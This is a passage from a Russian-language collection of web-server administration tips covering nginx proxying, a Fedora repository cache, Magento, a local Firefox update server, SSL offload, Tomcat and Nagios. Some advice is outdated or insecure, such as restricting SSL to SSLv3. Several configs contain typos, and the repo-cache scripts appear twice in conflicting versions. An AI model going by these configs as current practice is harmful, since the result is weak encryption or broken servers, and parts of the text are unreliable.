                proxy_pass         http://127.0.0.1:8080;
                proxy_redirect     off;
                proxy_set_header   Host             $host;
                proxy_set_header   X-Real-IP        $remote_addr;
                proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
            }
         }			
    
    server {
            listen       *:80;
            server_name  site53.ru;
            location / {
                proxy_pass         http://127.0.0.1:8088;
                proxy_redirect     off;
                proxy_set_header   Host             $host;
                proxy_set_header   X-Real-IP        $remote_addr;
                proxy_set_header   X-Forwarded-For  $proxy_add_x_forwarded_for;
            }
         }	
    
    Теперь просто можно тестировать обе версии PHP.
    На site.ru - ответит apache c PHP 5.2, а на site53.ru - apache PHP 5.3
    
     
    ----* Мониторинг работы http-сервера Lighttpd при помощи mod_rrdtool (доп. ссылка 1)   [обсудить]
     
    Для оценки нагрузки и отладки работы http-сервера Lighttpd можно использовать
    входящий в комплект модуль mod_rrdtool.
    
    Устанавливаем в системе пакет rrdtool:
    
    CentOS / RHEL / Fedora
       yum install rrdtool
    
    Debian / Ubuntu:
       apt-get update && apt-get install rrdtool
    
    FreeBSD:
       cd /usr/ports/databases/rrdtool && make && make install
    
    Активируем в Lighttpd запись статистических данных в RRD-базу. 
    В /etc/lighttpd/lighttpd.conf добавляем (для FreeBSD нужно поправить путь на /usr/local):
    
       server.modules              += ( "mod_rrdtool"  )
       ### RRDTOOL Config
       # path to the rrdtool binary
       rrdtool.binary = "/usr/bin/rrdtool"
       # rrd database file
       rrdtool.db-name = "/home/lighttpd/rrd"
    
    Рестартуем http-сервер (service lighttpd reload).
    Для построения аналитических графиков устанавливаем скрипт lightygraph.cgi:
    
       cd /home/lighttpd/cgi-bin/
       wget http://redmine.lighttpd.net/attachments/download/793
       chmod +x lightygraph.cgi
    
    Открываем в браузере страницу
    http://ваш_домен/cgi-bin/lightygraph.cgi и смотрим графики с информацией о
    трафике и числе запросов.
    
     
    ----* Как настроить кеширующий репозиторий для Fedora с помощью nginx   Автор: fb769  [комментарии]
     
    Устанавливаем необходимые пакеты
    
       yum install nginx yum-utils
    
    правим конфиг /etc/nginx/nginx.conf перед последней закрыющейся } дописываем
    
       include /etc/nginx/vh/*;
    
    создаем каталог
    
       mkdir /etc/nginx/vh
    
    а в нем файл repocache.local следующего содержания
    
        server {
            listen                          80;
            server_name                     repocache.local;
    
            location /pub/fedora {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location / {
                    autoindex               on;
                    root                    /home/repocache;
                    error_page              404 = @fetch_yandex;
            }
    
            location @fetch_yandex {
                    internal;
    
                    rewrite  ^/pub(.*)$  /$1  break;
    
                    proxy_pass              http://mirror.yandex.ru;
                    proxy_store             on;
                    proxy_store_access      user:rw  group:rw  all:r;
                    proxy_temp_path         /home/repocache/temp;
    
                    root                    /home/repocache/pub;
            }
       }
    
    создаем каталоги 
    
       mkdir /home/repocache
       mkdir /home/repocache/bin
       mkdir /home/repocache/pub
       mkdir /home/repocache/temp
       chown -R nginx:nginx /home/repocache
    
    в каталог /home/repocache помещаем скрипт clean.sh
    
    
        #!/bin/bash
    
        for f in $@;
        do
            echo $f
            for ff in `repomanage --old $f`;
            do
                rm -f $ff
            done
            rm -f $f/repodata/*
        done
    
    и repocache.sh
    
       #!/bin/bash
    
       find /home/repocache/pub -type d -regex .*/updates/.*/i386 -exec /home/repocache/bin/clean.sh {} +
       find /home/repocache/pub -type d -regex .*/updates/.*/x86_64 -exec /home/repocache/bin/clean.sh {} +
    
       rm -f /home/repocache/temp/*
    
    
    
    
    
    
    
    
    
    
    
       #!/bin/bash
    
       for f in `repomanage --old $1`;
       do
           echo $f
           rm -f $f
       done
    
       rm -f $1repodata/*
    
    и repocache.sh
    
       #!/bin/bash
    
       path_to_repo_dir="/home/repocache/pub/"
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/linux/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/rpmfusion/nonfree/fedora/updates/11/x86_64/
    
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/fixes/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/free/fedora/updates/11/x86_64/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/i386/
       /home/repocache/bin/clean.sh ${path_to_repo_dir}fedora/russianfedora/russianfedora/nonfree/fedora/updates/11/x86_64/
    
       rm -f /home/repocache/temp/*
    
    Запускаем nginx
    
       service nginx start
    
    Добавляем в crontab запуск скрипта /home/repocache/bin/repocache.sh раз в сутки (ночью)
    Перенастраиваем локальные компы и на новый репозиторий и пробуем обновиться
    Удачи.
    
     
    ----* Конфигурация Nginx + PHP + FastCGI для Magento (доп. ссылка 1)   Автор: alexweb  [комментарии]
     
    Не так давно пришлось оптимизировать сервер у заказчика. Нужно было заменить Apache на Nginx. 
    На официальном форуме можно найти примеры конфигурации, например
    http://www.magentocommerce.com/boards/viewthread/7931/ ,
    однако использование rewrite для таких случаев всячески порицается разработчиком сервера.
    
    Замечания
    
    * Процесс сборки nginx и php описан на офсайтах
    * Предполагается, что php с поддержкой fast-cgi настроен и работает на
    127.0.0.1:8888, а nginx на 127.0.0.1:80
    * Папка, в которой лежат файлы Magento: /home/alex/www/server.com/
    * Так как Nginx работает с php напрямую, а не через связку с Apache, следует
    обратить особое внимание
      на директивы для php, которые идут в .htaccess из стандартной поставки magento. Nginx 
      не обрабатывает директивы из .htaccess и поэтому их нужно перенести в php.ini. 
      У меня, например, перестала работать загрузка картинок к товарам, пока не добавил suhosin.session.cryptua off в php.ini.
    * Предполагается, что в Magento настроены ЧПУ
    
    Ниже привожу свою конфигурацию. Дополнения и комментарии всячески приветствуются.
    
        server {
        listen 127.0.0.1:80;
        server_name server.com;
        #Включаем сжатие
        gzip on;
        #gzip_comp_level 9;
        gzip_min_length 1000;
        gzip_proxied any;
        gzip_types text/plain application/xml text/html text/css text/js application/x-javascript;
        # Важно!!!! Ниже должна быть указана папка в которой лежит код Magento
        root /home/alex/www/server.com/;
    
        location / {
        index index.php;
        error_page 404 = @magento;
        }
        # Фикс для js
        location /js/ {
        index index.php;
        error_page 404 = @magento_js;
        }
        # Фикс для случая, когда используется расширение FOOMAN_Speedster.
        location ^~ /minify/ {
        rewrite ^/minify/([^/]+)(/.*.(js|css))$ /lib/minify/m.php?f=$2&d=$1 last;
        break;
        }
    
        location @magento {
        # Если fastcgi_params лежит по другому пути то заменить на свой
        include /etc/nginx/fastcgi_params; #Важно !!!!
        fastcgi_pass 127.0.0.1:8888;
        fastcgi_param SCRIPT_FILENAME $document_root/index.php; #Важно !!!
        }
    
        location @magento_js {
        include /etc/nginx/fastcgi_params;
        fastcgi_pass 127.0.0.1:8888;
        fastcgi_param SCRIPT_FILENAME $document_root/js/index.php;
        }
        location ~ .php$ {
        index index.php;
        include /etc/nginx/fastcgi_params;
        fastcgi_pass 127.0.0.12:8888;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        }
    
        location ~* \.(jpg|gif|png|css|js|jpeg|ico)$ {
        if (-f $request_filename) {
        access_log off;
        expires 7d;
        }
    
        }
    
    После такой настройки плагин YSlow дает сайту уровень B по скорости. Если очень постараться и
     вынести всю статику на отдельный поддомен, то можно еще ускориться. 
    
     
    ----* Создание локального сервера обновлений для Firefox (доп. ссылка 1) (доп. ссылка 2)   Автор: Unghost  [комментарии]
     
    Инструкция, как поднять локальный сервер обновлений для Firefox.
    В наличии имелся сервер с Debian Lenny. На него был поставлен apache2 и libapache2-mod-php5
    
       sudo apt-get install apache2
       sudo apt-get install libapache2-mod-php5
    
    В файле /etc/apache2/sites-available/default директива AllowOverride None была
    изменена на AllowOverride FileInfo
    В каталоге /var/www был создан каталог
    /var/www/update/Firefox/3.0.10/win32/ru/release и туда положены файлы:
    
       root@db-fw:/var/www/update/Firefox/3.0.10/win32/ru/release# ls -la
       -rw-r--r-- 1 root root  2188005 2009-05-28 11:22 firefox-3.0.10-3.0.11.ru.win32.partial.mar
       -rw-r--r-- 1 root root 10189913 2009-05-28 11:25 firefox-3.0.11.ru.win32.complete.mar
       -rw-r--r-- 1 root root       59 2009-05-28 10:12 .htaccess
       -rw-r--r-- 1 root root      658 2009-05-28 11:20 update
       -rw-r--r-- 1 root root      650 2009-05-28 12:12 update.xml
    
    Файлы firefox-3.0.10-3.0.11.ru.win32.partial.mar и firefox-3.0.11.ru.win32.complete.mar 
    были взяты с ftp://ftp.mozilla.org/pub/mozilla.org/firefox/nightly/3.0.11-candidates/build1/
    
    Файлы .htaccess и update были взяты с
    https://developer.mozilla.org/en/Setting_up_an_update_server без изменений.
    
    .htaccess:
    
       <FILES update>
          ForceType application/x-httpd-php
       </FILES>
    
    PHP скрипт update:
    
       <?php
       header("Content-type: text/xml");
    
       $url_array=explode("/",$_SERVER["REQUEST_URI"]);
       $noidea=$url_array[2];
       $product=$url_array[3];
       $version=$url_array[4];
       $build_id=$url_array[5];
       $build_target=$url_array[6];
       $locale=$url_array[7];
       $channel=$url_array[8];
       // filename is totally ignored
       $filename=$url_array[9];
       
       $updatefile = "update.dir/$noidea/$product/$version/$build_id/$build_target/$locale/$channel/$filename";
    
       if (file_exists($updatefile)) {
         $handle = fopen($updatefile, "r");
         $contents = fread($handle, filesize($updatefile));
         echo "$contents";
         fclose($handle);
       } else {
          echo '<?xml version="1.0"?>';
       ?>
       <updates></updates>
       <?
       }
    
       ?>
    
    
    Потом был создан файл update.xml:
    
       <?xml version="1.0"?>
       <updates>
       <update type="minor" version="3.0.11" extensionVersion="3.0.11" buildID="2009042316" 
         detailsURL="http://192.168.0.1/ru/firefox/3.0.11/releasenotes/">
       <patch type="complete" URL="http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/firefox-3.0.11.ru.win32.complete.mar"
         hashFunction="SHA1" hashValue="1a08be9c203da5fb20f632e970e23331bb21b995" size="10189913" />
       <patch type="partial" URL="http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/firefox-3.0.10-3.0.11.ru.win32.partial.mar"
         hashFunction="SHA1" hashValue="67683707609194c20188459da2ecfe9853122de4" size="2188005" />
       </update>
       </updates>
    
    Хэш функции были вычислены с помощью sha1sum.
    
    Потом я открыл русский Firefox 3.0.10 для Windows и создал строковый параметр
    app.update.url.override со значением
    http://192.168.0.1/update/Firefox/3.0.10/win32/ru/release/update.xml и проверил
    наличие обновлений.
    Firefox успешно нашёл обновление для 3.0.11 и успешно его применил.
    
     
    ----* Добавление SSL шифрования для не SSL сайта силами nginx (доп. ссылка 1)   [комментарии]
     
    Ниже представлен пример настройки SSL-акселератора, выполненного средствами http-сервера nginx.
    
    Предположим, что нужно проксировать сайт testhost.ru, размещенный на сервере 192.168.1.1.
    Следующий блок конфигурации определяет работу SSL-акселератора:
    
        server {
             listen 192.168.1.1:443;
             server_name testhost.ru;
             access_log logs/ssl.log main;
    
             ssl on;
             ssl_certificate /certs/ssl.crt;
             ssl_certificate_key /keys/ssl.key;
            
             location / {
               proxy_set_header X-Real-IP $remote_addr;
               proxy_set_header X-Forwarded-For $p roxy_add_x_forwarded_for;
               proxy_set_header Host $http_host;
               proxy_set_header X-FORWARDED_PROTO https;
               proxy_redirect false;
               proxy_pass http://main_site;
            }
        }
    
    В http секции конфигурации определяем сервер который будем проксировать:
    
       upstream main_site {
         server 192.168.1.1:8080;
       }
    
    При желании можно ограничить разрешенный тип шифрования:
    
       ssl_ciphers HIGH:!ADH;
       ssl_perfer_server_ciphers on;
       ssl_protocols SSLv3;
    
    
    Также можно  включить gzip сжатие проксируемого трафика, для этого в 
    http секции добавляем:
    
       gzip on;
       gzip_min_length 1100;
       gzip_buffers 4 8k;
       gzip_types text/plain text/html text/css text/js;
    
     
    ----* Настройка SSL, авторизации и редиректа в Apache Tomcat   Автор: Андрей  [комментарии]
     
    Несколько советов пользователям Apache Tomcat:
    
    Поддержка SSL
    -------------
    
    В server.xml раскомментируем listener и добавим опции:
    
       <Listener className="org.apache.catalina.core.AprLifecycleListener" SSLEngine="on" />
        <Connector port="8443" protocol="HTTP/1.1" SSLEnabled="true"
            maxThreads="150" scheme="https" secure="true"
            SSLCACertificateFile="${catalina.home}/cert/root.crt"
            SSLCertificateFile="${catalina.home}/cert/client.pem"
            SSLCertificateKeyFile="${catalina.home}/cert/client.pem"
            sslProtocol="TLS" />
    
    Если сертификат самоподписанный, то SSLCACertificateFile можно пропустить.
    Доступ на сервис https://tomcat:8443
    
    Редирект
    --------
    
    Для апача создать tomcat.conf в /etc/httpd/conf.d
    
       <VirtualHost *:80>
          DocumentRoot /var/www/html
          ServerName service.dc-local
          ServerAlias service
          Redirect permanent /        https://tomcat:8443/service
      </VirtualHost>
    
    Авторизация на страницу
    -----------------------
    
    В web.xml приложения добавить:
    
        <!-- Define a Security Constraint on this Application -->
        <security-constraint>
            <web-resource-collection>
                <web-resource-name>Protected Area</web-resource-name>
                    <!-- Define the context-relative URL(s) to be protected -->
                    <url-pattern>/*</url-pattern>
                    <!-- If you list http methods, only those methods are protected -->
            </web-resource-collection>
            <auth-constraint>
                <role-name>role1</role-name>
                <role-name>role2</role-name>
            </auth-constraint>
        </security-constraint>
    
        <!-- Define the Login Configuration for this Application -->
        <login-config>
           <auth-method>BASIC</auth-method>
           <realm-name>BLA BLA BLA</realm-name>
        </login-config>
    
        <!-- Security roles referenced by this web application -->
        <security-role>
            <description>BLA BLA BLA</description>
            <role-name>role1</role-name>
            <role-name>role2</role-name>
        </security-role>
    
    роли должны быть в tomcat-users.xml, либо см. ниже.
    
    Поддержка авторизации по группам из LDAP
    ----------------------------------------
    
    В server.xml добавить:
    
       <Realm className="org.apache.catalina.realm.JNDIRealm" connectionURL="ldap://ldap:389"
           allRolesMode="authOnly" userBase="ou=users,dc=domain,dc=local" userSearch="uid={0}"
           roleBase="ou=group,dc=domain,dc=local" roleName="cn" roleSearch="memberUid={1}"/>
    
    группы будут определены как роли для авторизации.
    
     
    ----* Дублирование HTTP запросов для тестирования сервера (доп. ссылка 1)   Автор: asd  [комментарии]
     
    Иногда требуется симулировать нагрузку на тестовый web-сервер на основе
    запросов поступающих к основному серверу,
    т.е. произвести параллельную отправку запросов на другой сервер 
    или просто повторить какой-то набор запросов на основе данных из лог-файла за
    определенный период времени.
    
    Для сбора информации будем использовать утилиту tcpflow (http://www.circlemud.org/~jelson/software/tcpflow/),
    которая имеется в портах FreeBSD (net/tcpflow) и в составе большинства Linux дистрибутивов.
    
    
    Дублирование POST запросов:
    
       sudo tcpflow -cp -i eth0 dst port 80 | grep param | while read line;  \
       do curl -s -- "http://duplicate.host/ask?"$line; done
    
    Дублирование GET запросов с Cookie:
    
       sudo tcpflow -cpi eth1 dst port 80 | while read line; do 
         if I=`echo $line | grep "GET /url/"`; then 
            REQ=`echo $line | cut -b 50- | sed s@HTTP/1.1@@`; 
         fi;
         if J=`echo $line | grep "Cookie: "`; then 
            COOKIE=$line; 
            curl -s -H "$COOKIE" -- http://server:port$REQ; 
         fi; 
       done
    
     
    ----* Обеспечение работы системы мониторинга Nagios при помощи Nginx (доп. ссылка 1)   Автор: comatoz  [комментарии]
     
    Web-сервер apache наверное самый лучший web-сервер, но при настройке web-интерфейса для nagios 
    можно обойтись и без него, что сейчас и будет описано.
    
    Применительно к FreeBSD:
    
       portinstall /usr/ports/www/nginx
    
    В /etc/rc.conf.local
    
       # nginx
       nginx_enable=YES
    
    nginx не может выполнять php и cgi скрипты. Для этого можно использовать backend серверы.
    
    Схема получается следующая:
                                          mini_httpd
                        ---*.cgi--->  192.168.0.200:1081
                       /
          nginx       /                    lighttpd
    192.168.0.200:80------*.php--->   192.168.0.200:1082
                      \ 
                       \                    Каталог
                        ---*.html-->  /usr/local/www/...
    
    В этой схеме nginx слущает на порту запросы, производит авторизацию, статические файлы отдает сам, 
    cgi-скрипты перенаправляет к запущенному на внутреннем порту 127.0.0.1:1081 
    mini_httpd (/usr/ports/www/mini_httpd), который в свою очередь и выполняет эти скрипты.
    
    Схема может показатся сложной, но в моём случае переход на нее оправдался: 
    опрос nagios производится 1 раз в минуту из Firefox (спец.плагин), и машина с nagios 
    испытывала некоторые трудности с производительностью. После запуска данной схемы 
    нагрузка на машину значительно снизилась.
    
    Если используется pnp4nagios (http://www.pnp4nagios.org/pnp/install) для построения графиков 
    производительности сервисов, то выполнение php-скриптов возможно с помощью запущенного 
    на внутреннем порту 127.0.0.1:1082 lighttpd (/usr/ports/www/lighttpd).
    
    Конфигурационные файлы nginx хранятся по умолчанию в /usr/local/etc/nginx/.
    
    /usr/local/etc/nginx/nginx.conf
    
       user       www www;
       worker_processes  1;
       error_log  /var/log/nginx/error.log;
       pid        /var/run//nginx.pid;
       worker_rlimit_nofile 8192;
    
       events {
          worker_connections  4096;
       }
    
       http {
        include    mime.types;
        include    proxy.conf;
        default_type application/octet-stream;
        log_format   main '$remote_addr - $remote_user [$time_local] $status '
                          '"$request" $body_bytes_sent "$http_referer" '
                          '"$http_user_agent" "$http_x_forwarded_for"';
        access_log   /var/log/nginx/access.log  main;
        sendfile     on;
        tcp_nopush   on;
        server_names_hash_bucket_size 128; # this seems to  be required for some vhosts
    
       ## интранет
      server {
        listen 192.168.0.200:80;
        server_name 192.168.0.200 ns.contora.local;
        access_log /var/log/nginx/access.log;
          include nagios.conf;
          include nagios-pnp.conf;
    
        location / {
            root                    /usr/local/www/apache22/data/;
        }
        include error-pages.conf;
       }
      }
    
    
    /usr/local/etc/nginx/nagios.conf
    
    
       location /nagios/ {
            auth_basic              "Nagios ";
            auth_basic_user_file    /usr/local/www/nagios/.htpasswd;
            alias                   /usr/local/www/nagios/;
       }
    
       location /nagios/cgi-bin/ {
            auth_basic              "Nagios ";
            auth_basic_user_file    /usr/local/www/nagios/.htpasswd;
    
            proxy_pass              http://localhost:1081;
            proxy_redirect          http://localhost:1081/nagios/cgi-bin/ /nagios/cgi-bin/;
    
            set                     $referer        $http_referer;
            proxy_set_header        Referer         $referer;
            proxy_set_header        X-Real-IP       $remote_addr;
            proxy_set_header        Host            localhost:1081;
            proxy_set_header        REQUEST_METHOD  $request_method;
            proxy_set_header        REMOTE_USER     $remote_user;
            proxy_set_header        REMOTE_ADDR     $remote_addr;
            proxy_set_header        SERVER_NAME     localhost;
            proxy_set_header        SERVER_PORT     1081;
            proxy_set_header        HTTP_COOKIE     $http_cookie;
       }
    
    
    /usr/local/etc/nginx/nagios-pnp.conf
    
    
            location ~* /pnp/.*\.php$ {
                root   /usr/local/share/;
                fastcgi_pass   127.0.0.1:1082;
                fastcgi_index  index.php;
                fastcgi_param  SCRIPT_FILENAME  /usr/local/nagios/share/$fastcgi_script_name;
                include        fastcgi_params;
            }
            location ~* /pnp/ {
                    root   /usr/local/nagios/share/;
                    index  index.php index.html index.htm;
            }
    
    
    /usr/local/etc/nginx/error-pages.conf
    
    
            error_page   500 502 503 504  /50x.html;
            location = /50x.html {
             root   /usr/local/www/nginx-dist;
            }
            error_page   401  /401.html;
            location = /401.html {
              root   /usr/local/www/nginx-dist;
            }
            error_page   404  /404.html;
            location = /404.html {
              root   /usr/local/www/nginx-dist;
            }
    
    Ссылки:
    http://sysoev.ru/nginx/
    http://www.lighttpd.net/
    http://www.acme.com/software/mini_httpd/
    http://www.lissyara.su/?id=1532
    
     
    ----* Как в nginx на лету изменить отдаваемый html   Автор: nginx-ru maillist  [обсудить]
     
    Модуль ngx_http_sub_module изменяет в ответе одну заданную строку на другую.
    http://sysoev.ru/nginx/docs/http/ngx_http_sub_module.html
    
    location / {
        sub_filter        </head>
               '</head><script language="javascript" src="$script"></script>';
        sub_filter_once   on;
    }
    
    Модуль ngx_http_addition_module добавляет текст до и после ответа.
    http://sysoev.ru/nginx/docs/http/ngx_http_addition_module.html
    
     
    ----* Отключаем избирательно в Apache чувствительность к регистру в URL   Автор: Андрей  [комментарии]
     
    Проверить загрузку модуля в файле конфигурации httpd.conf:
    
       LoadModule speling_module modules/mod_speling.so
    
    в свойствах домена включаем опцию:
    
       <Directory ..>
           CheckSpelling on
    
    проверено на RedHat EL5, httpd-2.2.3
    
     
    ----* Запуск Apache с разной конфигурацией в Gentoo Linux (доп. ссылка 1)   Автор: Eugeny Fomin  [обсудить]
     
    Суть проблемы заключалось в том, что надо было запустить несколько вебсерверов
    с разной конфигурацией,
    например с разными модулями и на разных ip адресах. Для этого не нужно компилировать 
    и устанавливать несколько апачей, а достаточно запускать один и тот же установленный в системе, 
    со своим конфигурационным файлом.
    
    Решение
    
    Допустим нужно запустить два апача на разных ip, назовем их apache_v1 и apache_v2.
    apache_v1 будет висеть на ip 192.168.0.1,
    apache_v2 на 192.168.0.2
    
    Будем считать, что установлен Apache2.
    
       # cp /etc/conf.d/apache2 /etc/conf.d/apache2_apache_v1
       # cp /etc/conf.d/apache2 /etc/conf.d/apache2_apache_v2
    
       # vi /etc/conf.d/apache2_apache_v1
    
       Добавляем строку:
          CONFIGFILE=/etc/apache2/httpd_apache_v1.conf
    
       # vi /etc/conf.d/apache2_apache_v2
    
       Добавляем строку:
          CONFIGFILE=/etc/apache2/httpd_apache_v2.conf
    
       # cp /etc/apache2/httpd.conf /etc/apache2/httpd_apache_v1.conf
       # cp /etc/apache2/httpd.conf /etc/apache2/httpd_apache_v2.conf
    
    Правим *.conf фалы по вашему усмотрению.
    
       # vi /etc/apache2/httpd_apache_v1.conf
    
       Заменяем директивы на следующие:
          Listen 192.168.0.1:80
          PidFile "/var/run/apache2_apache_v1.pid"
    
       Аналогично и для apache_v2
    
       # vi /etc/apache2/httpd_apache_v2.conf
          Listen 192.168.0.2:80
          PidFile "/var/run/apache2_apache_v2.pid"
    
       # cp /etc/init.d/apache2 /etc/init.d/apache2_apache_v1
       # cp /etc/init.d/apache2 /etc/init.d/apache2_apache_v2
    
    Добавляем их в автозагрузку:
    
       # rc-update -a apache2_apache_v1 default
       # rc-update -a apache2_apache_v2 default
    
    Запускаем:
    
       # /etc/init.d/apache2_apache_v1 start
       # /etc/init.d/apache2_apache_v2 start
    
    Материал предоставлен http://www.inode.ru/
    
     
    ----* Скрипт для автосборки Apache, mod_ssl, php5 и mysql   Автор: April  [комментарии]
     
    Простенький скриптик для автосборки Apache 1.3.x + openssl+mod_ssl + php5+mysql 
    был написан из-за беспробудной лени автора
    
    Для работы требуются (минимум):
       - FreeBSD 4.8 (проверено) и наверное выше
       - FreeBSD 5.1,5.2.1 (проверено) и наверное выше
       - установленные пакеты
         libxml2-2.6.2_1.tbz
         mm-1.3.0.tbz
         python-2.3.2_3.tbz
         unzip-5.50_2.tbz
         zip-2.3_1.tbz
         и связанные с ними пакеты, возможно для удобства еще надо мс
    
    Кроме того необходимо чтобы версия Apache совпадала с версией mod_ssl
    
    #!/bin/sh
    #
    #Apache 1.x.y compile!!!
    #
    #
    ####################################
    # -=April (c)=- ###-=2005=-#
    ####################################
    SRC=`pwd`
    DST=/usr/local/server
    
    ln -s $DST  /server
    HTTPD_SRC=$SRC/apache
    HTTPD_DST=$DST/apache
    
    PHP_SRC=$SRC/php
    PHP_DST=$DST/php
    
    MYSQL_DST=$DST/mysql
    MYSQL_SRC=$SRC/mysql
    
    OPENSSL_SRC=$SRC/openssl
    OPENSSL_DST=$DST/openssl
    
    MODSSL_SRC=$SRC/mod_ssl
    MODSSL_DST=$DST/mod_ssl
    
    #prepare configuring APACHE
    cd $HTTPD_SRC
    ./configure --prefix=$HTTPD_DST
    
    prepare configuring MySQL
    cd $MYSQL_SRC
    ./configure --prefix=$MYSQL_DST
    make
    make install
    
    cd $PHP_SRC
    ./configure --prefix=$PHP_DST --with-apache=$HTTPD_SRC --with-mysql=$MYSQL_DST \
    --enable-force-cgi-redirect --enable-sockets --with-mod_charset --with-xml
    make
    make install
    
    cd $OPENSSL_SRC
    ./Configure 
    make
    make test
    make certificate
    make install
    
    cp $PHP_SRC/.libs/libphp5.a $HTTPD_SRC/src/modules/php5
    cd $MODSSL_SRC
    ./configure --prefix=$HTTPD_DST --with-apache=$HTTPD_SRC --with-ssl=$OPENSSL_SRC \
    --activate-module=src/modules/php5/libphp5.a --enable-module=ssl --server-uid=www --server-gid=www
    
    cd $HTTPD_SRC
    #./configure --prefix=$HTTPD_DST  --activate-module=src/modules/php4/libphp4.a
    --enable-module=ssl \
    #--server-uid=www --server-gid=www 
    
    ./configure --prefix=$HTTPD_DST  --enable-module=rewrite --enable-shared=rewrite  \
    --activate-module=src/modules/php5/libphp5.a  --server-uid=www --server-gid=www 
    make 
    make certificate TYPE=custom
    make install
    
     
    ----* Почему в apache может передаваться битая информация   [обсудить]
     
    Если используется русский apache и после закачки через форму файл приходит битый:
       CharsetRecodeMultipartForms Off
    
    Если пользователь скачивает битый файл (например, rar-архив):
        - Убедитесь, что для типа вашего файла присутствует корректная запись вmime.types;
       - Проверьте, какой тип по умолчанию установлен в httpd.conf, лучше поставить
            DefaultType application/octet-stream
    
    Если PHP скрипт выдает битую информацию:
         См. заметку "В чем может быть причина битых бинарных файлов на выходе PHP"
         http://www.opennet.ru/tips/info/740.shtml
    
     
    ----* Особенности установки Tomcat 5.0 под FreeBSD 5.2   Автор: Александр Елисеенко  [комментарии]
     
    Итак, при построении jdk 1.4.2 из портов необходимо иметь разрешение
    эмуляции Linux в ядре и монтированную файловую систему linprocfs.
    Для этого в файле /etc/rc.conf необходимо указать
        #  linux_enable="YES"
    
    а в файле /etc/fstab
        #  linprocfs  /compat/linux/proc linprocfs rw 0 0
    
    По завершении установки необходимо установить переменную окружения 
    JAVA_HOME, которая указывает на каталог с установленным jdk
    Соответственно, в файле .cshrc необходимо добавить
        #  setenv JAVA_HOME /usr/local/jdk1.4.2
    
    а в файле .profile
        #  export JAVA_HOME=/usr/local/jdk1.4.2
    
    Установка Tomcat 5.0 из портов проблем не вызвала, но запуск программы
    постоянно срывался. Изучение логов показало, что Tomcat пытался 
    работать с протоколом IPv6, который не был установлен в моей системе. 
    
    В соответствии с рекомендацией, данной в логах, делаем запрет на IPv6
        #  sysctl net.inet6.ip6.v6only=0
    
    теперь все работает.
    
    Как вариант, можно внести соответствующие изменения в catalina.sh
    и сделать запуск java с ключем -Djava.net.preferIPv4Stack=true,
    но через sysctl мне показалось проще.
    
     
    ----* Генерация сертификатов для mod_ssl (доп. ссылка 1)   Автор: Александр Елисеенко  [комментарии]
     
    В состав дистрибутива openssl входят скрипты CA.sh и CA.pl (/usr/local/openssl/misc)
    создаем корневой сертификат
    	./CA.sh -newca
    генерируем личный ключ и сертификационный запрос сервера
    	./CA.sh -newreq
    и подписываем его своим корневым сертификатом.
    	./CA.sh -sign
    переписываем ключ и сертификат сервера в служебный каталог Apache
    	cp newreq.pem   /usr/local/etc/apache/sslkey/server.key
    	cp newcert.pem  /usr/local/etc/apache/ssl.crt/server.crt
    Файл корневого сертификата ./demoCA/cacert.pem необходимо 
    распространить по клиентским компьютерам.
    
     
    ----* Почему при использовании mod_bandwidth перестает работать метод POST   Автор: Roman Skopenko  [обсудить]
     
    mod_bandwidth должен быть размещен вначале списка AddModule/LoadModule, т.е. до остальных модулей.
    
    Если mod_bandwidth врезается в httpd, то при сборке нужно:
      ./configure --add-module=mod_bandwidth.c --permute-module=BEGIN:bandwidth
    
     
    ----* Как запретить русскому apache перекодировать страницы по Accept-Charset   [обсудить]
     
    По умолчанию русский apache всегда выдает "Vary: accept-charset" и в случае 
    получения от пользователя заголовка Accept-Charset перекодирует в указанную в нем кодировку.
    Решается проблема добавлением директивы:
       CharsetDisableAcceptCharset On
    
     
    ----* Почему при скачивании по HTTP бинарного файла он скачивается битым.   [комментарии]
     
    Для файлов неизвестного типа (например, .rar) используется MIME тип определеный через DefaultType, 
    как правило это text/plain, который может быть перекодирован russian-apache.
    Существует два решения проблемы:
      1. DefaultType application/octet-stream в httpd.conf
      2. Явно определить MIME тип вашего файла в mime.types
    
     
    ----* Редирект незакрытых директорий на имя текущего алиаса виртуального хоста, а не на основной домен.   Автор: uldus  [обсудить]
     
    > Как сделать чтобы автоматом перебрасывало http://host1.test.ru/dir на
    > http://host1.test.ru/dir/, а не на http://www.test.ru/dir/
    UseCanonicalName Off
    
     
    ----* Почему suexec может не работать при запуске Apache в режиме chroot. (доп. ссылка 1)   [обсудить]
     
    1. В chroot окружении обязательно должен быть /etc/passwd с пользователями для
    которых используется suexec.
    2. Помещена ли в bin директорию программа suexec ?
    3. Установлен ли suid root флаг для программы suexec ? (при копировании suid флаг исчезает).
    4. Все ли динамические библиотеки присутствуют:
       chroot /hst /usr/local/apache/bin/ldd /usr/local/apache/bin/httpd
       chroot /hst /usr/local/apache/bin/ldd /usr/local/apache/bin/suexec
        предварительно положив ldd в /hst/usr/local/apache/bin/
    
     
    ----* Как организовать показ мини-иконок favicon.ico на своем сайте.   [комментарии]
     
    1. Добавляем в mime.types в конфигурации Apache строку:
       image/x-icon ico
       (Если не добавить, при использовании Russian Apache иконка
       отображаться не будет !!)
    2. Помещаем на html страницу код:
       <link rel="SHORTCUT ICON" href="/favicon.ico"> 
